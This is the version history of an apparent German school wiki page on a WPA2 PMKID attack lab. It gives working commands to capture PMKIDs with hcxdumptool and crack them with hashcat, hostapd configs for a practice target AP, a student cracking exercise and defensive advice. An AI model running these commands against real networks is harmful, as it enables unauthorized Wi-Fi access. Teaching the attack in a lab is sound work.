Wlan PMKID-Angriff - Versionsgeschichte

Thomas.will am 20. August 2026 um 11:07 Uhr

2026-08-20T11:07:47Z

Thomas.will am 20. August 2026 um 11:02 Uhr

2026-08-20T11:02:22Z

Thomas.will am 20. August 2026 um 10:58 Uhr

2026-08-20T10:58:04Z

Thomas.will am 14. August 2026 um 13:00 Uhr

2026-08-14T13:00:15Z

Thomas.will am 14. August 2026 um 12:57 Uhr

2026-08-14T12:57:45Z

Änderungen zeigen

Thomas.will: Die Seite wurde neu angelegt: „=PMKID-Angriff in der WLAN-Schulung= == Vorbereitung == =Passwordliste generieren= *crunch 8 8 0123456789 -o password.lst Crunch will now generate the follow…“

2025-05-21T13:17:58Z

Die Seite wurde neu angelegt: „=PMKID-Angriff in der WLAN-Schulung= == Vorbereitung == =Passwordliste generieren= *crunch 8 8 0123456789 -o password.lst Crunch will now generate the follow…“

Neue Seite

=PMKID-Angriff in der WLAN-Schulung=

== Vorbereitung ==
=Passwordliste generieren=
*crunch 8 8 0123456789 -o password.lst
Crunch will now generate the following amount of data: 900000000 bytes
... dies dauert eine Weile

=Störende Dienste stoppen=
*systemctl stop avahi-daemon
*systemctl stop NetworkManager

=Interface suchen=
*airmon-ng
<pre>
PHY Interface Driver Chipset
phy0 wlan0 rtl8812au Alfa AWUS036ACH
</pre>

=Interface vorbereiten=
*ip link set wlan0 down
*iw dev wlan0 set type monitor
*ip link set wlan0 up

=PMKID-Sammlung starten=
*hcxdumptool -i wlan0 -o pmkid.pcapng --enable_status=15
;läuft, bis man Strg+C drückt

=PMKID extrahieren=
*hcxpcapngtool -o pmkid.hash -E essidlist.txt pmkid.pcapng

=PMKID mit Hashcat knacken=
*hashcat -m 16800 pmkid.hash password.lst

=Beispielhafte Auswertung=
*Laptop: ~1000 H/s
*GPU (RTX 3080): bis 800000 H/s
*Crack über GPU-Cluster oder Cloud möglich

== AP-Konfiguration für PMKID-Test==
=Garantiert PMKID-fähige hostapd.conf=
<pre>
interface=wlan0
driver=nl80211
ssid=crackme
hw_mode=g
channel=6
country_code=DE
ieee80211n=1
auth_algs=1
wpa=2
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
wpa_passphrase=Sommer2024
own_ip_addr=127.0.0.1
eap_server=0
</pre>

;Hinweis: hostapd bietet PMKID standardmäßig an, wenn ein Client verbunden war oder Roaming aktiviert ist.

== Fake-APs simulieren (für mehrere Gruppen)==
=Option 1: Mehrere Instanzen von hostapd (getrennte Interfaces notwendig)=
*cp hostapd.conf hostapd1.conf
*cp hostapd.conf hostapd2.conf
*Ändere SSID und channel in jeder Datei

Beispiel:
<pre>
ssid=crackme01
channel=1
</pre>
<pre>
ssid=crackme02
channel=6
</pre>
*hostapd -dd hostapd1.conf &
*hostapd -dd hostapd2.conf &

=Option 2: Einfacher Fake-AP mit create_ap (nur zu Demo-Zwecken)=
*apt install create-ap
*create_ap wlan0 eth0 crackme123 Sommer2024

;Wird nicht von allen PMKID-Tools erkannt, aber gut für Fake-Kulisse oder Captive Portals.

== Schülerübung: "Crack Me!" WLAN ==
=Zielsetzung=
* Schüler scannen Umgebung
* Erfassen PMKID mit hcxdumptool
* Cracken mit vorbereiteter Wordlist

=Beispiel-SSID und Passwort (nicht in Liste)=
*SSID: crackme
*Passwort: Sommer2024

=passende Wordlist (Ausschnitt)=
<pre>
hallo123
testtest
Sommer2023
Sommer2024
Winter2024
12345678
98765432
00001234
</pre>

=Cracken starten=
*hashcat -m 16800 pmkid.hash wordlist.txt

== Abschluss ==
=Diskussion=
* Warum klappt PMKID ohne Client?
* Welche APs sind verwundbar?
* Warum ist WPA3 hier sicherer?

=Weiterführende Tools=
*Bettercap
*roguehostapd
*hostapd-wpe (für Enterprise-Angriffe)
*Captive-Portal-Frameworks: WiFiPhisher, Fluxion

=Videos=
*[https://www.youtube.com/watch?v=dvmrQ0CzCy4 PMKID Angriff mit hcxdumptool]
*[https://www.youtube.com/watch?v=vnLfCtpANvI WPA Handshake Crack]

=Links=
*[https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 Cracking WPA-PMKID with Hashcat]
*[https://github.com/ZerBea/hcxdumptool hcxdumptool GitHub]
*[https://github.com/ZerBea/hcxtools hcxtools GitHub]

@@ Zeile 24: / Zeile 24: @@
 =Filter auf unseren AP bauen=
-;'''Neue Reihe (hcxdumptool 6.3.0 und neuer):''' Filter ist eine BPF-Datei. Wir erzeugen sie mit tcpdump aus der BSSID:
+;'''Am einfachsten''' — hcxdumptool baut den Filter selbst, kein tcpdump nötig:
-*tcpdump -i wlan0 wlan addr3 AA:BB:CC:11:22:33 -ddd > dd-xinux.bpf
+*hcxdumptool --bpfc="wlan addr3 AA:BB:CC:11:22:33 or wlan addr3 ffffffffffff" > dd-xinux.bpf
-;'''Alte Reihe (bis 6.2.9):''' hier genügt eine Textdatei mit der BSSID '''ohne''' Doppelpunkte:
+;Das <code>or wlan addr3 ffffffffffff</code> lässt Broadcast-/Probe-Frames durch — sonst meckert hcxpcapngtool später über fehlende Frames.
 *echo aabbcc112233 > dd-xinux.txt
 =PMKID abgreifen=

@@ Zeile 9: / Zeile 9: @@
   ... dies dauert eine Weile
-=Störende Dienste stoppen=
+=WLAN-Karte freiräumen=
-;NetworkManager allein zu stoppen reicht meist nicht — den eigentlichen Ärger macht '''wpa_supplicant''': der läuft als eigener Dienst weiter, greift die Karte und wirft sie immer wieder in den Managed-Modus zurück. Am saubersten in einem Rutsch:
+;NetworkManager muss nicht gestoppt werden — er fischt nicht rein, solange er die Karte nicht anfasst. Nur <code>wlan0</code> aus seiner Verwaltung nehmen:
 *nmcli dev set wlan0 managed no

@@ Zeile 10: / Zeile 10: @@
 =Störende Dienste stoppen=
-*systemctl stop avahi-daemon
+;NetworkManager allein zu stoppen reicht meist nicht — den eigentlichen Ärger macht '''wpa_supplicant''': der läuft als eigener Dienst weiter, greift die Karte und wirft sie immer wieder in den Managed-Modus zurück. Am saubersten in einem Rutsch:
-*systemctl stop NetworkManager
+*airmon-ng check kill
 =PMKID abgreifen=
-*hcxdumptool -i wlan0 -w dump.pcapng
+;'''Neue Reihe''' — mit BPF-Filter:
 ;hcxdumptool schaltet die Karte selbst in den Monitor-Modus. Läuft ein paar Sekunden.
-;Die Flags ändern sich zwischen den Versionen — vorher einmal <code>hcxdumptool -h</code> prüfen.
+;Mit <code>--exitoneapol=1</code> beendet sich hcxdumptool automatisch, sobald der PMKID gefangen ist.
 =In hashcat-Format wandeln=
 *hcxpcapngtool -o pmkid.hc22000 dump.pcapng
 ;Erscheint "PMKID(s) written to 22000 hash file"? Dann haben wir ihn.
 =Cracken=
@@ Zeile 40: / Zeile 88: @@
 *Langes, zufälliges PSK.
 *'''WPA3 / SAE''' beseitigt den Offline-Angriff komplett — es gibt keinen abfangbaren Wert mehr.
 =Links=

@@ Zeile 1: / Zeile 1: @@
 =Szenario=
-;Diese Seite ist für die '''Angreifer-Gruppe'''. Ziel ist der Access Point <code>dd-xinux</code>, den die AP-Gruppe stellt (siehe [[accesspoint-hostapd|Access Point aufsetzen]]).
+;Angriff auf den Access Point <code>dd-xinux</code> (siehe [[accesspoint-hostapd|Access Point aufsetzen]]).
-;Es gibt zwei Wege zum Passwort:
+;PMKID-Angriff: '''clientless''' — kein verbundener Client, kein Deauth nötig. Wir greifen den PMKID direkt aus dem 1. EAPOL-Frame ab.
 =Passwortliste generieren=
@@ Zeile 16: / Zeile 13: @@
 *systemctl stop NetworkManager
-=Interface suchen=
+=PMKID abgreifen=
-*airmon-ng
+*hcxdumptool -i wlan0 -w dump.pcapng
-<pre>
+;hcxdumptool schaltet die Karte selbst in den Monitor-Modus. Läuft ein paar Sekunden.
-PHY     Interface       Driver          Chipset
+;Die Flags ändern sich zwischen den Versionen — vorher einmal <code>hcxdumptool -h</code> prüfen.
-=Weg 2: PMKID (clientless)=
+=In hashcat-Format wandeln=
 *hcxpcapngtool -o pmkid.hc22000 dump.pcapng
-;Erscheint eine Zeile "PMKID(s) written to 22000 hash file"? Dann haben wir ihn. Wenn nicht, war nichts drin → Weg 1 nutzen.
+;Erscheint "PMKID(s) written to 22000 hash file"? Dann haben wir ihn.
 =Cracken=
 *hashcat -m 22000 pmkid.hc22000 password.lst
 ;Ergebnis ansehen:
@@ Zeile 85: / Zeile 34: @@
 =Warum ist das knackbar?=
-;Das AP-Passwort <code>00001234</code> ist 8-stellig numerisch: 10^8 = 100 Mio. Kandidaten — in Kurszeit machbar.
+;<code>00001234</code> ist 8-stellig numerisch: 10^8 = 100 Mio. Kandidaten — in Kurszeit machbar.
-;8 Zeichen '''gemischt''' (Buchstaben + Ziffern + Sonderzeichen) wären 62^8 &asymp; 2,2&times;10^14 — selbst mit der Titan Jahre. Ein starkes, zufälliges Passwort macht '''beide''' Wege praktisch chancenlos.
+;8 Zeichen gemischt wären 62^8 &asymp; 2,2&times;10^14 — praktisch nicht zu knacken. Ein starkes, zufälliges Passwort macht den Angriff chancenlos.
 =Verteidigung=
-*Langes, zufälliges PSK — schlägt Handshake- und PMKID-Angriff gleichermaßen.
+*Langes, zufälliges PSK.
 *'''WPA3 / SAE''' beseitigt den Offline-Angriff komplett — es gibt keinen abfangbaren Wert mehr.
 =Links=